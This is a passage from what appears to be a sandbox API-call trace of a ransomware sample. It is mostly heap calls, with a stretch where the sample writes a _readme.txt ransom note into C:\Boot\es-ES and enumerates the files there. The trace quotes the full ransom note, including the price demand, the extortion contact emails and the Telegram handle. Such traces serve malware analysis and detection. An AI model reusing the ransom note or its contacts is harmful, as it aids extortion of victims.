Size=0x830) returned 0x3306ed0 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.560] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.561] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0112.561] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.561] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.561] PathFindFileNameW (pszPath="") returned="" [0112.561] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.561] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.562] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.562] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.562] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0112.562] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.562] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0112.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.563] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.563] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.563] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.563] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.563] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.563] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.563] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.563] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.564] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.564] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 